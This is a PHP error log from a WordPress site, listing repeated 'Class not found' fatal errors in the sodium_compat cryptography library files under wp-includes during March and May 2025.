  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[29-Mar-2025 10:01:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[29-Mar-2025 10:01:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[29-Mar-2025 10:01:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[29-Mar-2025 10:01:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[29-Mar-2025 10:01:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[29-Mar-2025 10:01:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[13-May-2025 10:00:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[13-May-2025 10:00:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[13-May-2025 10:00:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[13-May-2025 10:00:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[13-May-2025 10:00:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[13-May-2025 10:00:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[13-May-2025 10:00:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[13-May-2025 10:00:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[13-May-2025 10:00:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[13-May-2025 10:00:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[13-May-2025 10:00:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[13-May-2025 10:00:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[13-May-2025 10:00:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[13-May-2025 10:00:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[13-May-2025 10:00:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[13-May-2025 10:00:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[13-May-2025 10:00:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[13-May-2025 10:00:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[13-May-2025 10:00:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[13-May-2025 10:00:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[13-May-2025 10:00:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[13-May-2025 10:00:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[13-May-2025 10:00:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[13-May-2025 10:00:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[13-May-2025 10:00:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[13-May-2025 10:00:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[13-May-2025 10:00:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[13-May-2025 10:00:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[13-May-2025 10:00:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[13-May-2025 10:00:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[13-May-2025 10:00:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[13-May-2025 10:00:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[13-May-2025 10:00:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[13-May-2025 10:00:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[13-May-2025 10:00:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[13-May-2025 10:00:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[13-May-2025 10:00:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[13-May-2025 10:00:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[13-May-2025 10:00:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[13-May-2025 10:00:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[13-May-2025 10:00:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[13-May-2025 10:00:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[13-May-2025 10:00:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[13-May-2025 10:00:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[13-May-2025 10:00:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[13-May-2025 10:00:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[13-May-2025 10:00:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[13-May-2025 10:00:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[13-May-2025 10:00:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-May-2025 10:00:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-May-2025 10:00:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-May-2025 10:00:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-May-2025 10:00:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[13-May-2025 10:00:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[13-May-2025 10:00:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[13-May-2025 10:01:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[13-May-2025 10:01:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[13-May-2025 10:01:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[13-May-2025 10:01:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[13-May-2025 10:01:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[13-May-2025 10:01:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-May-2025 10:01:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-May-2025 10:01:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-May-2025 10:01:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 11:59:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-May-2025 11:59:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-May-2025 11:59:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-May-2025 11:59:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-May-2025 11:59:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-May-2025 11:59:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-May-2025 11:59:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-May-2025 11:59:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-May-2025 11:59:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-May-2025 11:59:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-May-2025 11:59:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-May-2025 11:59:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-May-2025 11:59:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-May-2025 11:59:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-May-2025 11:59:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-May-2025 11:59:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-May-2025 11:59:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
